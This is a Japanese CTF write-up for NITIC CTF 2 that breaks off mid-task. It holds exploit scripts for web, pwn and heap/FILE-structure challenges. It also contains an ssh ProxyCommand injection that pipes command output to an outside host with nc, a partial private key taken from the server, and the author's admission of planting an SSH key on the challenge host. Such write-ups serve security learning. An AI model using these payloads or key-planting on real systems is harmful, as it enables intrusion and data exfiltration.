1
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

More than 3 years have passed since last update.

NITIC CTF 2 write-up

Last updated at Posted at 2021-09-06

全問解いて2位。

image.png

ctf.waku-waku-club.com_team(capture (1024)).png

image.png

Web

web_meta (100, 155 solves)

フラグが書いてあるHTMLのはずなのに、ブラウザで開いても見当たりません!開発者の気持ちになって探しましょう!

super_cite.html
 :
    <meta name="description" content="flag is nitic_ctf{You_can_see_dev_too1!}">
 :

nitic_ctf{You_can_see_dev_too1!}

long flag (200, 154 solves)

image.png

index.html
 :
  <p id="flag">
    <span>n</span><span>i</span><span>t</span><span>i</span><span>c</span><span>_</span><span>c</span><span>t</span><span>f</span><span>{</span><span>J</span><span>y</span><span>!</span><span>H</span><span>x</span><span>j</span><span>$</span><span>R</span><span>d</span><span>B</span><span>$</span><span>u</span><span>A</span><span>,</span><span>b</span><span>$</span><span>u</span><span>M</span><span>.</span><span>b</span><span>N</span><span>7</span><span>A</span><span>i</span><span>d</span><span>L</span><span>6</span><span>q</span><span>e</span><span>4</span><span>g</span><span>k</span><span>r</span><span>B</span><span>9</span><span>d</span><span>M</span><span>U</span><span>-</span><span>j</span><span>Y</span><span>8</span><span>K</span><span>U</span><span>8</span><span>2</span><span>8</span><span>B</span><span>y</span><span>P</span><span>9</span><span>E</span><span>#</span><span>Y</span><span>D</span><span>i</span><span>9</span><span>b</span><span>y</span><span>a</span><span>F</span><span>4</span><span>s</span><span>Q</span><span>-</span><span>p</span><span>/</span><span>8</span><span>3</span><span>5</span><span>r</span><span>2</span><span>6</span><span>M</span><span>T</span><span>!</span><span>Q</span><span>w</span><span>W</span><span>W</span><span>M</span><span>|</span><span>c</span><span>!</span><span>i</span><span>a</span><span>(</span><span>y</span><span>n</span><span>t</span><span>4</span><span>8</span><span>h</span><span>B</span><span>s</span><span>&</span><span>-</span><span>,</span><span>|</span><span>3</span><span>}</span>
  </p>
 :
<style>
  p {
    user-select: none;
    -webkit-user-select: none;
    -ms-user-select: none;
    -moz-user-select: none;
    -khtml-user-select: none;
    -webkit-user-drag: none;
    -khtml-user-drag: none;
  }

  #flag {
    display: none;
  }
</style>

開発者ツールで<style>を消して、コピペした。

nitic_ctf{Jy!Hxj$RdB$uA,b$uM.bN7AidL6qe4gkrB9dMU-jY8KU828ByP9E#YDi9byaF4sQ-p/835r26MT!QwWWM|c!ia(ynt48hBs&-,|3}

password (300, 46 solves)

パスワードの文字が紛らわしいので、打ち間違えても通るようにしました。

server.py
 :
password = "".join([secrets.choice(string.ascii_letters) for _ in range(32)])
 :
def fuzzy_equal(input_pass, password):
    if len(input_pass) != len(password):
        return False

    for i in range(len(input_pass)):
        if input_pass[i] in "0oO":
            c = "0oO"
        elif input_pass[i] in "l1I":
            c = "l1I"
        else:
            c = input_pass[i]
        if all([ci != password[i] for ci in c]):
            return False
    return True
 :
@app.route("/flag", methods=["POST"])
def search():
    if request.headers.get("Content-Type") != 'application/json':
        return make_response("Content-Type Not Allowed", 415)

    input_pass = request.json.get("pass", "")
    if not fuzzy_equal(input_pass, password):
        return make_response("invalid password", 401)
    return flag
 :

input_passは文字列を想定しているけれど、配列を送ることもできる。

["abc...", "abc...", "abc...", ...]

というパスワードを送りつけるとどうなるか。cが1文字ではなく、"abc..."になって、all([ci != password[i] for ci in c])Trueとなる。

attack.py
import requests
import json
import string

r = requests.post(
  "http://34.146.80.178:8001/flag",
  json.dumps({"pass": [string.ascii_letters]*32}),
  headers = {"content-type": "application/json"})
print(r.text)
$ python3 attack.py
nitic_ctf{s0_sh0u1d_va11dat3_j50n_sch3m3}

なるほどな~と思ったら、これは非想定解だった。

nanigasi_san — 昨日 16:53
@here [Web]password について、非想定解が存在しました。passwordについてはそのままとし、修正版のpassword fixedを公開しました。

nitic_ctf{s0_sh0u1d_va11dat3_j50n_sch3m3}

password fixed (300, 13 solves)

server.py
 :
def fuzzy_equal(input_pass, password):
    if len(input_pass) != len(password):
        return False

    for i in range(len(input_pass)):
        if input_pass[i] in "0oO":
            if password[i] not in "0oO":
                return False
            continue
        if input_pass[i] in "l1I":
            if password[i] not in "l1I":
                return False
            continue
        if input_pass[i] != password[i]:
            return False
    return True
 :

こうなった。想定されている文字列以外のデータを送りつけることができるとはいえ、細工したdictとかを送りつけても、JavaScriptみたいにおかしなことはできないと思うんだよな……。{"__dict__": {0: 1}}とかしても変な挙動は起こらない。そもそも、文字列以外だとinput_pass[i] in "0oO"で例外になってしまう。

……そういうことか。

input_pass = ["a", 0, 0, ...]

とすると、password[0]"a"以外ならば、Falseが返る。"a"ならば、i=0は通り、i=10 in "0oO"となり、例外が飛ぶ。これで1文字づつ総当たりができる。

attack.py
import requests
import json
import string

password = ""

for i in range(32):
  for c in string.ascii_letters:
    p = list(password+c)+[0]*(32-len(password)-1)
    r = requests.post(
      "http://34.146.80.178:8002/flag",
      json.dumps({"pass": p}),
      headers = {"content-type": "application/json"})
    if r.status_code!=401:
      password += c
      break
  print(i, password)
$ python3 attack.py
0 r
1 rm
2 rmW
3 rmWt
 :
30 rmWtcmbNUoKPoMECAtYwXKxyoCbbtXN
31 rmWtcmbNUoKPoMECAtYwXKxyoCbbtXNo

rmWtcmbNUoKPoMECAtYwXKxyoCbbtXNoを入力するとフラグが出てくる。

nitic_ctf{s0_sh0u1d_va11dat3_un1nt3nd3d_s0lut10n}

Is it Shell? (500, 3 solves)

WeTTY。初心者向けのCTFでたまに見る、ブラウザからターミナルを使えるようにしているやつ。

配布ファイル。

wetty2.0.3.patch
--- a/src/client/wetty.ts
+++ b/src/client/wetty.ts
@@ -27,7 +27,7 @@ socket.on('connect', () => {
   const fileDownloader = new FileDownloader();

   term.onData((data: string) => {
-    socket.emit('input', data);
+    socket.emit('input', data.replace(/-/g, ''));
   });
   term.onResize((size: { cols: number; rows: number }) => {
     socket.emit('resize', size);

GitHubのほうでは、OSコマンドインジェクションの対策っぽい修正が入っている。この問題ではクライアントサイドで-を入力できなくしている。

とりあえず、Google ChromeのLocal Overrides機能でこのチェックを潰して、-を入力できるようにする。

普通はこう。

Enter your username: hoge

hoge@flagserver's password: 
Permission denied, please try again.
hoge@flagserver's password: 

ユーザー名に-を付けてみるとこう。

Enter your username: -hoge

unknown option -- h
usage: ssh [-46AaCfGgKkMNnqsTtVvXxYy] [-B bind_interface]
           [-b bind_address] [-c cipher_spec] [-D [bind_address:]port]
           [-E log_file] [-e escape_char] [-F configfile] [-I pkcs11]
           [-i identity_file] [-J [user@]host[:port]] [-L address]
           [-l login_name] [-m mac_spec] [-O ctl_cmd] [-o option] [-p port]
           [-Q query_option] [-R address] [-S ctl_path] [-W host:port]
           [-w local_tun[:remote_tun]] destination [command]

色々と試してみると、ssh <username>@flagserverのようなコマンドが実行されているところに、-が入力できるのでオプション扱いにできるらしい。あくまで1個の引数を好きにできるだけ。hoge'; cat /etc/passwd;みたいなことはできない。

必須の引数のdestinationがオプション扱いになってしまうし、それで何かできるのかな……とsshのマニュアルを探すと、良いものがあった。

$ man ssh
 :
     -o option
             Can be used to give options in the format used in the configuration file.
             This is useful for specifying options for which there is no separate com‐
             mand-line flag.  For full details of the options listed below, and their
             possible values, see ssh_config(5).

                   AddKeysToAgent
                   AddressFamily
                   BatchMode
 :
$ man ssh_config
 :
     ProxyCommand
             Specifies the command to use to connect to the server.  The command string
             extends to the end of the line, and is executed using the user's shell
             ‘exec’ directive to avoid a lingering shell process.

             Arguments to ProxyCommand accept the tokens described in the TOKENS sec‐
             tion.  The command can be basically anything, and should read from its
             standard input and write to its standard output.  It should eventually con‐
             nect an sshd(8) server running on some machine, or execute sshd -i some‐
             where.  Host key management will be done using the HostName of the host
             being connected (defaulting to the name typed by the user).  Setting the
             command to none disables this option entirely.  Note that CheckHostIP is
             not available for connects with a proxy command.

             This directive is useful in conjunction with nc(1) and its proxy support.
             For example, the following directive would connect via an HTTP proxy at
             192.0.2.0:

                ProxyCommand /usr/bin/nc -X connect -x 192.0.2.0:8080 %h %p
 :
Enter your username: -o ProxyCommand=id | nc my-server.example.com 8888;
>ncat -l 8888
uid=1000(ubuntu) gid=1000(ubuntu) groups=1000(ubuntu),4(adm),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),117(netdev),118(lxd)

OK。;は後に追加される@flagserverを無効化するため。標準出力が出てこないが、ncに飛ばせば良い。エラーが表示されるときもあるから、id >&2とすれば出てきそうなものだけど、ダメで良く分からん。こんなことをいちいちするのも面倒だからリバースシェルを貼りたいけど、なぜか/bin/shが見つからないと言われて謎。

それでサーバーを漁ってもフラグは無し。

/home/ubuntu/note

login to flag@flagserver

/home/ubuntu/id_rsa_flag

-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
NhAAAAAwEAAQAAAYEA4FabBbtlhJY8b8W/oM2yiyJffK2Zkeri8s02RaN+bOm0d8GPRoVr
3gQ947xGaY520kz5NpQR+PEInd5AdcUSWtxL3ucxdmVlFmaL5BEwHzsatGdCV/tTNguQ7n
FPR/3HotdzjEmq6yrpVk1PdcLeFyRJ0bEUhac18DMzBTZqehUIHjvG5e1uFPlQDJIClbDV
 :

というファイルがある。

sshの-oオプションは、-o hoge=fuga -o piyo=aaaという使い方をするものらしく、この問題の状況では、この秘密鍵とユーザー、接続先を指定するようなことはできない。まあ、idの代わりにsshコマンドを実行すれば良いと思ったが……ダメ。

Enter your username: -o ProxyCommand=ssh -i /home/ubuntu/id_rsa_flag flag@flagserver id;

Load key "/home/ubuntu/id_rsa_flag": invalid format
flag@flagserver's password: 

ここで悩んだ。id_rsa_flagの最後に改行が無いからだった。何かこれでも動くような秘密鍵の指定方法があるのか、それとも元々の脆弱性でも同じ状況があって突くときにも引っ掛かるところなのか……。

追記。インターネットからflagserverに繋がるのか。てっきり、表のサーバーからしかアクセスできないと思っていた。

ファイルをどこかにコピーして、改行を追加して、(sshに怒られるので)パーミッションを変えて……が面倒。問題サーバーのSSHポートが空いていて、~/.ssh/authorized_keys が書き込み可能だったから、自分の公開鍵を追加してSSH接続した。ミスると他の参加者への妨害になっちゃうので良くない。

flagserverにログインできれば、置いてあるフラグを見るだけ。

ubuntu@ip-172-31-45-150:/tmp/hogehoge$ ssh -i id_rsa_flag flag@flagserver
Welcome to Ubuntu 20.04.2 LTS (GNU/Linux 5.4.0-1045-aws x86_64)
 :
Last login: Sun Sep  5 07:38:07 2021 from 118.6.7.175
$ ls -al
total 16
drwxr-xr-x 3 root root 4096 Sep  4 22:06 .
drwxr-xr-x 4 root root 4096 Sep  4 22:03 ..
drwxr-xr-x 2 root root 4096 Sep  4 22:13 .ssh
-rw-r--r-- 1 root root   33 Sep  4 22:05 flag.txt
$ cat flag.txt
nitic_ctf{shell_in_the_webshell}

nitic_ctf{shell_in_the_webshell}

Pwn

pwn monster 1 (200, 120 solves)

pwn monsterが完成しました!ライバルのpwnchuは最強で、バグ技を使わない限りは勝てないでしょう。

vuln.c
 :
typedef struct {
    char name[16];
    int64_t hp;
    int64_t attack;
} Monster;
 :

nameの後にhpattackがあるので、適当に壊す。

$ nc 35.200.120.35 9001
 ____                 __  __                 _
|  _ \__      ___ __ |  \/  | ___  _ __  ___| |_ ___ _ __
| |_) \ \ /\ / / '_ \| |\/| |/ _ \| '_ \/ __| __/ _ \ '__|
|  __/ \ V  V /| | | | |  | | (_) | | | \__ \ ||  __/ |
|_|     \_/\_/ |_| |_|_|  |_|\___/|_| |_|___/\__\___|_|
                        Press Any Key


Welcome to Pwn Monster World!

I'll give your first monster!

Let's give your monster a name!
+--------+--------------------+----------------------+
|name    | 0x0000000000000000 |                      |
|        | 0x0000000000000000 |                      |
|HP      | 0x0000000000000064 |                  100 |
|ATK     | 0x000000000000000a |                   10 |
+--------+--------------------+----------------------+
Input name: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
+--------+--------------------+----------------------+
|name    | 0x6161616161616161 |             aaaaaaaa |
|        | 0x6161616161616161 |             aaaaaaaa |
|HP      | 0x6161616161616161 |  7016996765293437281 |
|ATK     | 0x0000616161616161 |      107070873493857 |
+--------+--------------------+----------------------+
OK, Nice name.

Let's battle with Rival! If you win, give you FLAG.

[You] aaaaaaaaaaaaaaaaaaaaaaaaaaaaaa HP: 7016996765293437281
[Rival] pwnchu HP: 9999
Your Turn.

Rival monster took 107070873493857 damage!


[You] aaaaaaaaaaaaaaaaaaaaaaaaaaaaaa HP: 7016996765293437281
[Rival] pwnchu HP: -107070873483858
Win!

nitic_ctf{We1c0me_t0_pwn_w0r1d!}

nitic_ctf{We1c0me_t0_pwn_w0r1d!}

pwn monster 2 (300, 65 solves)

pwn monster 2ではバグ技を検知する機構を追加しました。

hpattackの合計が変化していない(110のままかどうか)というチェックが入っている。

適当ではなく、ちゃんと考えて壊しましょう。hpが負だとダメ。attackが負だと、相手は回復することになるが、回復しすぎて死ぬ。

$ echo -e 'aaaaaaaaaaaaaaaa\xff\xff\xff\xff\xff\xff\xff\x7f\x6f\x00\x00\x00\x00\x00\x00\x80' | nc 35.200.120.35 9002
 ____                 __  __                 _
|  _ \__      ___ __ |  \/  | ___  _ __  ___| |_ ___ _ __
| |_) \ \ /\ / / '_ \| |\/| |/ _ \| '_ \/ __| __/ _ \ '__|
|  __/ \ V  V /| | | | |  | | (_) | | | \__ \ ||  __/ |
|_|     \_/\_/ |_| |_|_|  |_|\___/|_| |_|___/\__\___|_|
                        Press Any Key

Welcome to Pwn Monster World!
I'll give first monster!
Let's give your monster a name!
+--------+--------------------+----------------------+
|name    | 0x0000000000000000 |                      |
|        | 0x0000000000000000 |                      |
|HP      | 0x0000000000000064 |                  100 |
|ATK     | 0x000000000000000a |                   10 |
+--------+--------------------+----------------------+
Checksum: 110
Input name: +--------+--------------------+----------------------+
|name    | 0x6161616161616161 |             aaaaaaaa |
|        | 0x6161616161616161 |             aaaaaaaa |
|HP      | 0x7fffffffffffffff |  9223372036854775807 |
|ATK     | 0x800000000000006f | -9223372036854775697 |
+--------+--------------------+----------------------+
Checksum: 110
OK, Nice name.
Let's battle with Rival! If you win, give you FLAG.
[You] aaaaaaaaaaaaaaaao HP: 9223372036854775807
[Rival] pwnchu HP: 9999
Your Turn.
Rival monster took -9223372036854775697 damage!
[You] aaaaaaaaaaaaaaaao HP: 9223372036854775807
[Rival] pwnchu HP: -9223372036854765920
Win!
nitic_ctf{buffer_and_1nteger_overfl0w}

nitic_ctf{buffer_and_1nteger_overfl0w}

pwn monster 3 (300, 50 solves)

vuln.c
 :
void show_flag() {
    FILE* fp = fopen("./flag.txt", "r");
 :
typedef struct {
    char name[16];
    int64_t hp;
    int64_t attack;
    char* (*cry)();
} Monster;

char* pwnchu_cry() {
    return "pwnchu!";
}

char* my_monster_cry() {
    return "GRRRR....";
}
 :

cryshow_flagのアドレスを入れれば良い。PIEが有効なので、最初の表示からmy_monster_cryのアドレスを取得して計算。

attack.py
from pwn import *

elf = ELF("vuln")
context.binary = elf

s = remote("35.200.120.35", 9003)

s.recvuntil("cry()   | 0x")
my_monster_cry = unpack(bytes.fromhex(s.read(16).decode())[::-1])
elf.address = my_monster_cry - elf.symbols.my_monster_cry

s.sendlineafter("Input name: ", b"a"*32+pack(elf.symbols.show_flag))
s.interactive()
$ python3 attack.py
[*] '/mnt/d/documents/ctf/nitic_ctf_2/pwn monster 3/vuln'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[+] Opening connection to 35.200.120.35 on port 9003: Done
[*] Switching to interactive mode
+--------+--------------------+----------------------+
|name    | 0x6161616161616161 |             aaaaaaaa |
|        | 0x6161616161616161 |             aaaaaaaa |
|HP      | 0x6161616161616161 |  7016996765293437281 |
|ATK     | 0x6161616161616161 |  7016996765293437281 |
|cry()   | 0x00005608c301e286 |                      |
+--------+--------------------+----------------------+
OK, Nice name.
Let's battle with Rival! If you win, give you FLAG.
[You] aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\x86\xe2\xcV HP: 7016996765293437281
[Rival] pwnchu HP: 9999
Your Turn.
nitic_ctf{rewrite_function_pointer_is_fun}

aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\x86\xe2\xcV: (null)
Rival monster took 7016996765293437281 damage!
[You] aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\x86\xe2\xcV HP: 7016996765293437281
[Rival] pwnchu HP: -7016996765293427282
Win!
Rival: I don't want to give you FLAG! bye~~
[*] Got EOF while reading in interactive
$

nitic_ctf{rewrite_function_pointer_is_fun}

baby_IO_jail (500, 5 solves)

ソースコードはこれだけ。

vuln.c
#include<stdio.h>
#include<unistd.h>
void main(void) {
    setvbuf(stdout, NULL, _IONBF, 0);
jail:
    read(0,stdout,0x300);
    puts("back to jail");
    goto jail;
}

File stream oriented programming。

*stdoutの型は、この_IO_FILE_plus

glibc/libio/libioP.h
 :
struct _IO_FILE_plus
{
  FILE file;
  const struct _IO_jump_t *vtable;
};
 :

FILE_IO_FILE

glibc/libio/bits/types/struct_FILE.h
 :
struct _IO_FILE
{
  int _flags;		/* High-order word is _IO_MAGIC; rest is flags. */

  /* The following pointers correspond to the C++ streambuf protocol. */
  char *_IO_read_ptr;	/* Current read pointer */
  char *_IO_read_end;	/* End of get area. */
  char *_IO_read_base;	/* Start of putback+get area. */
  char *_IO_write_base;	/* Start of put area. */
  char *_IO_write_ptr;	/* Current put pointer. */
  char *_IO_write_end;	/* End of put area. */
  char *_IO_buf_base;	/* Start of reserve area. */
  char *_IO_buf_end;	/* End of reserve area. */

  /* The following fields are used to support backing up and undo. */
  char *_IO_save_base; /* Pointer to start of non-current get area. */
  char *_IO_backup_base;  /* Pointer to first valid character of backup area */
  char *_IO_save_end; /* Pointer to end of non-current get area. */

  struct _IO_marker *_markers;

  struct _IO_FILE *_chain;

  int _fileno;
  int _flags2;
  __off_t _old_offset; /* This used to be _offset but it's too small.  */

  /* 1+column number of pbase(); 0 is unknown. */
  unsigned short _cur_column;
  signed char _vtable_offset;
  char _shortbuf[1];

  _IO_lock_t *_lock;
#ifdef _IO_USE_OLD_IO_FILE
};

struct _IO_FILE_complete
{
  struct _IO_FILE _file;
#endif
  __off64_t _offset;
  /* Wide character stream stuff.  */
  struct _IO_codecvt *_codecvt;
  struct _IO_wide_data *_wide_data;
  struct _IO_FILE *_freeres_list;
  void *_freeres_buf;
  size_t __pad5;
  int _mode;
  /* Make sure we don't get into trouble again.  */
  char _unused2[15 * sizeof (int) - 4 * sizeof (void *) - sizeof (size_t)];
};
 :

setvbuf(stdout, NULL, _IONBF, 0)でバッファリングが無効化されているとき、_IO_FILE中の各種バッファのポインタは_shortbufを指している。バッファのポインタを書き換えると周囲のデータをリークさせられる。

vtableを書き換え、偽の関数テーブルを指すようにし、その関数テーブルにsystemとかを書いておけばシェルが取れる。ただし、vtableの指す先は__libc_IO_vtablesセクションでないといけない。書き込めるのがstdoutだけでどうするんだこれ……と思ったら、libc-2.31ではstdoutのすぐ後ろに__libc_IO_vtablesがあった。

$ readelf -s libc-2.31.so | grep _IO_2_1_stdout_
   850: 00000000001ec6a0   224 OBJECT  GLOBAL DEFAULT   31 _IO_2_1_stdout_@@GLIBC_2.2.5
$ readelf -S libc-2.31.so | grep __libc_IO_vtables
  [33] __libc_IO_vtables PROGBITS         00000000001ec8a0  001eb8a0

後はやるだけなのだが、途中でエラーにならないようにするのが面倒。いつもはWSLのUbuntu 18を使っているところ、Ubuntu 20を引っ張り出してきて手元で動かし、gdbやソースコードと睨めっこして何とかした。

attack.py
from pwn import *

context.arch = "amd64"

s = remote("18.117.194.78", 13377)

s.send(
  # _IO_CURRENTLY_PUTTING(0x0800)を立てると、
  # _IO_new_file_overflow中でバッファへのポインタを弄る処理をスルーできる
  pack(0xfbad3887) +	# _flags
  pack(0) +          	# _IO_read_ptr
  pack(0) +				# _IO_read_end
  pack(0) +				# _IO_read_base
  bytes([0x00]))     	# _IO_write_base

# _IO_write_baseは_shortbuf(0x?????????????123)を指している
# 0x?????????????100に書き換えると、_markes以降のデータが出力される
# chainは_IO_2_1_stdin_を指しているので、libcのアドレスが取得できる
s.recv(8)
_IO_2_1_stdin_ = unpack(s.recv(8))
libc = ELF("libc-2.31.so")
libc.address = _IO_2_1_stdin_-libc.symbols._IO_2_1_stdin_

__libc_IO_vtables = libc.address + 0x1ec8a0

payload = (
  # _IO_USER_LOCK(0x8000)を立てると、ロックを掛ける処理をスルーできる
  b"/\x80;/bin/sh\0\0\0\0\0\0" +
  bytes(0xc8) +
  pack(__libc_IO_vtables)) # vtable

payload = payload.ljust(__libc_IO_vtables-libc.symbols._IO_2_1_stdout_)

# __libc_IO_vtables
payload += (
  bytes(0x38) +
  pack(libc.symbols.system)) # xputn

s.send(payload)
s.interactive()
$ python3 attack.py
[+] Opening connection to 18.117.194.78 on port 13377: Done
[*] '/mnt/d/documents/ctf/nitic_ctf_2/baby_IO_jail/libc-2.31.so'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[*] Switching to interactive mode
\x00\x00\x00\x00\xff\xff\xff\xff\xff\xff\xff\x00\x00ack to jail
sh: 1: /\x80: not found
$ ls -al
total 36
drwxr-xr-x 1 root user  4096 Sep  4 21:49 .
drwxr-xr-x 1 root root  4096 Sep  4 21:49 ..
-r--r--r-- 1 root user    36 Sep  4 21:41 flag
-r-xr-xr-x 1 root user    81 Sep  4 21:49 start.sh
-r-xr-xr-x 1 root user 16824 Sep  4 21:40 vuln
$ cat flag
nitic_ctf{it_is_pointless_for_us}
~
$

nitic_ctf{it_is_pointless_for_us}

Misc

Excel (100, 133 solves)

Excelファイルのあるセルにフラグが書かれています!見つけて下さい!

全選択 → コピー → 適当なエディタに貼り付け。

nitic_ctf{plz_find_me}

image_conv (200, 115 solves)

白背景に薄い色でフラグが書かれている。

環境によってめちゃ簡単に解けてしまうということで、途中で修正された。

良いモニタを使うなり、適当な画像処理ソフトを使うなり。

nitic_ctf{high_contrast}

braincheck (300, 36 solves)

brainf*ck。こう整形すると読みやすいだろうか。

>,>
,[>+>+<<-] >>[<<+>>-]<< [-<->]<-----                                                           [<+>[-]]>>[<<+>>-]<
,[>+>+<<-] >>[<<+>>-]<< [-<->]+++++++++++++++++++++++++++++++++++++++++++++++++ [<----->-]<    [<+>[-]]>>[<<+>>-]<
,[>+>+<<-] >>[<<+>>-]<< [-<->]++                                                [<----->-]<-   [<+>[-]]>>[<<+>>-]<
,[>+>+<<-] >>[<<+>>-]<< [-<->]<------                                                          [<+>[-]]>>[<<+>>-]<
,[>+>+<<-] >>[<<+>>-]<< [-<->]<----                                                            [<+>[-]]>>[<<+>>-]<
,[>+>+<<-] >>[<<+>>-]<< [-<->]++++++++++++++++++++++++++++++++++++++++++++++++++[<----->-]<--  [<+>[-]]>>[<<+>>-]<
,[>+>+<<-] >>[<<+>>-]<< [-<->]+++++++++++++++++++++++++++++++++++++++++++++++   [<----->-]<----[<+>[-]]>>[<<+>>-]<
,[>+>+<<-] >>[<<+>>-]<< [-<->]++                                                [<----->-]<----[<+>[-]]>>[<<+>>-]<
,[>+>+<<-] >>[<<+>>-]<< [-<->]+++++++++++++++++++++++++++++++++++++++++++++++   [<----->-]<    [<+>[-]]>>[<<+>>-]<
,[>+>+<<-] >>[<<+>>-]<< [-<->]++++                                              [<----->-]<--  [<+>[-]]>>[<<+>>-]<
,[>+>+<<-] >>[<<+>>-]<< [-<->]++++++++++++++++++++++++++++++++++++++++++++++++  [<----->-]<--  [<+>[-]]>>[<<+>>-]<
,[>+>+<<-] >>[<<+>>-]<< [-<->]<----                                                            [<+>[-]]>>[<<+>>-]<
,[>+>+<<-] >>[<<+>>-]<< [-<->]++++++++++++++++++++++++++++++++++++++++++++++++++[<----->-]<-   [<+>[-]]>>[<<+>>-]<
,[>+>+<<-] >>[<<+>>-]<< [-<->]+++                                               [<----->-]<    [<+>[-]]>>[<<+>>-]<
,[>+>+<<-] >>[<<+>>-]<< [-<->]++++++++++++++++++++++++++++++++++++++++++++++++  [<----->-]<--- [<+>[-]]>>[<<+>>-]<
,[>+>+<<-] >>[<<+>>-]<< [-<->]<---------                                                       [<+>[-]]>>[<<+>>-]<
,[>+>+<<-] >>[<<+>>-]<< [-<->]<------                                                          [<+>[-]]>>[<<+>>-]<
,[>+>+<<-] >>[<<+>>-]<< [-<->]+++++++                                           [<----->-]<-   [<+>[-]]>>[<<+>>-]<
,[>+>+<<-] >>[<<+>>-]<< [-<->]++++++++++++++++++++++++++++++++++++++            [<----->-]<----[<+>[-]]>>[<<+>>-]<
,>>+<<<[-]<[[-]>+++++++++++++++++[<+++++>-]<++.>+++++[<+++++>-]<++.---.-.-------.>>>>-<<<<[-]]>>>>[[-]>+++++++++++++[<+++++>-]<++.>++++++++[<+++++>-]<++++.+++..>++[<----->-]<---.--.>+++[<+++++>-]<++.[-]]

直前の文字との差分がある値になるかどうかをチェックしている。<---...の行は、-の個数がそのまま差分。+++...+[<----->-]<--...の行は、+の個数の5倍に末尾の-を加えた数。

solve.py
F = [ord("n")]
F += [F[-1]- 5]
F += [F[-1]-49*5  ]
F += [F[-1]- 2*5-1]
F += [F[-1]- 6]
F += [F[-1]- 4]
F += [F[-1]-50*5-2]
F += [F[-1]-47*5-4]
F += [F[-1]- 2*5-4]
F += [F[-1]-47*5  ]
F += [F[-1]- 4*5-2]
F += [F[-1]-48*5-2]
F += [F[-1]- 4]
F += [F[-1]-50*5-1]
F += [F[-1]- 3*5  ]
F += [F[-1]-48*5-3]
F += [F[-1]- 9]
F += [F[-1]- 6]
F += [F[-1]- 7*5-1]
F += [F[-1]-38*5-4]

print("".join(chr(f%256) for f in F))
$ python3 solve.py
nitic_ctf{esoteric?}

nitic_ctf{esoteric?}

Rev

protected (200, 105 solves)

$ strings chall
 :
PASSWORD:
sUp3r_s3Cr37_P4s5w0Rd
Invalid password.
 :
$ ./chall
PASSWORD: sUp3r_s3Cr37_P4s5w0Rd
nitic_ctf{hardcode_secret}

nitic_ctf{hardcode_secret}

report or repeat (300, 22 solves)

マルウェアの仕業により大事なレポートが暗号化されてしまった!レポートの締め切りは9/6の24時まで。暗号化プログラムを解読してレポートを取り戻し、留年を回避しましょう。

暗号化前のファイルを消さない優しいマルウェア。

ファイルを0x100バイトごとのブロックPに分けて、

for (int i=0; i<0x100; i++)
    C[i] = T2[P[T1[i]]]^T3[i];

という暗号化をしている。テーブルの置き場所が、.data.rodata、スタックでややこしい。問題バイナリを読むのではなく、動かしてメモリをダンプしたほうが楽だったかもしれない。

solve.py
elf = open("encrypter", "rb").read()

T1 = list(elf[0x3020:0x3120])
T2 = list(elf[0x2008:0x2108])
T3 = []
for i in range(9):
  T3 += list(elf[i*0x22+0x1237:i*0x22+0x123f])
  T3 += list(elf[i*0x22+0x1241:i*0x22+0x1249])
for i in range(7):
  T3 += list(elf[i*0x1c+0x1369:i*0x1c+0x1371])
  T3 += list(elf[i*0x1c+0x1373:i*0x1c+0x137b])

enc = open("report.pdf.enc", "rb")
dec = open("report.pdf", "wb")
while True:
  C = enc.read(0x100)
  if C==b"":
    break
  P = [0]*0x100
  for i in range(256):
    P[T1[i]] = T2.index(C[i]^T3[i])
  dec.write(bytes(P))

Crypto

Caesar Cipher (100, 144 solves)

フラグの中身がシーザー暗号で暗号化されています。 暗号化されたフラグの中身はfdhvduです。

nitic_ctf{caesar}

ord_xor (300, 94 solves)

enc_sample.py
import os
flag = os.environ["FLAG"]


def xor(c: str, n: int) -> str:
    temp = ord(c)
    for _ in range(n):
        temp ^= n
    return chr(temp)


enc_flag = ""
for i in range(len(flag)):
    enc_flag += xor(flag[i], i)

with open("./flag", "w") as f:
    f.write(enc_flag)

暗号化前の文字列に、文字列に依存しない値をxorしているだけなので、もう1回この関数に掛ければ元に戻る。

solve.py
flag = "nhtjcZcsfroydRx`rl"

def xor(c: str, n: int) -> str:
    temp = ord(c)
    for _ in range(n):
        temp ^= n
    return chr(temp)

print("".join(xor(flag[i], i) for i in range(len(flag))))
$ python3 solve.py
nitic_ctf{ord_xor}

問題名がそのままフラグで良いのかなw

nitic_ctf{ord_xor}

tanitu_kanji (300, 65 solves)

換字式暗号。置換表がafter1after2の2個あって、どちらかを選んで暗号化することを10回繰り返す。各回にどちらを使ったかは分からない。

$2^{10}=1024$だから全探索すれば良い。

solve.py
flag = "l0d0pipdave0dia244im6fsp8x"
alphabets = "abcdefghijklmnopqrstuvwxyz0123456789{}_"
after1 = "fl38ztrx6q027k9e5su}dwp{o_bynhm14aicjgv"
after2 = "rho5b3k17pi_eytm2f94ujxsdvgcwl{}a086znq"

def conv(s, t):
  return "".join(alphabets[t.index(c)] for c in s)

for b in range(2**10):
  f = flag
  for i in range(10):
    f = conv(f, [after1, after2][b>>i&1])
  print(f)
$ python3 solve.py
nlmlzazmrp_lmarktta}fs6z7j
{rcr1l1ctwgrcltyddl_h6q1az
w676bfb7t0y67ftjxxf82}ub3k
 :
nofo1s1f2qgofs2z88s6djc1k9
nitic_ctf{bit_full_search}
wfkf7i7kl98fkilmqqibor47_c
 :

nitic_ctf{bit_full_search}

summeRSA (300, 32 solves)

彼も平文の一部がわかっていれば鼻血を出すまで解読を試みることはなかったかもしれません。

summeR WARS。

task.py
from Crypto.Util.number import *
from random import getrandbits

with open("flag.txt", "rb") as f:
	flag = f.read()
	assert len(flag) == 18


p = getStrongPrime(512)
q = getStrongPrime(512)
N = p * q

m = bytes_to_long(b"the magic words are squeamish ossifrage. " + flag)

e = 7
d = pow(e, -1, (p - 1) * (q - 1))
c = pow(m, e, N)

